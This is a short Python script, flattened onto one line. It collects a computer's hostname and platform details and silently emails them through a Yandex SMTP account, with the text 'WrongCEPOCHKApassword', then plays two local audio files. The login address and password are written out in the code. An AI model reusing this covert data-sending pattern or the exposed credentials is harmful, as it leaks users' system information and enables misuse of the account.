import time from pygame import mixer import pyttsx3 import smtplib as smtp #pip install sntplib import socket #pip install socket from getpass import getpass #pip install getpass from requests import get #pip install requests import psutil #pip install psutil import datetime import platform import os import random hostname = socket.gethostname() email = 'py.tester@yandex.ru' password = 'heggremmeyleaqxi' dest_email = 'pasha33.pro@yandex.ru' subject = 'IP' ost = platform.uname() email_text = (f'WrongCEPOCHKApassword\nPC name: {hostname}\nPC info: {ost}') message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL('smtp.yandex.com') server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() time.sleep(2) mixer.init() mixer.music.load("C:/Users/COS11/OneDrive/Alpha/W.mp3") mixer.music.play() time.sleep(20) mixer.music.stop() mixer.music.load("C:/Users/COS11/OneDrive/Alpha/Cw.mp3") mixer.music.play() time.sleep(7)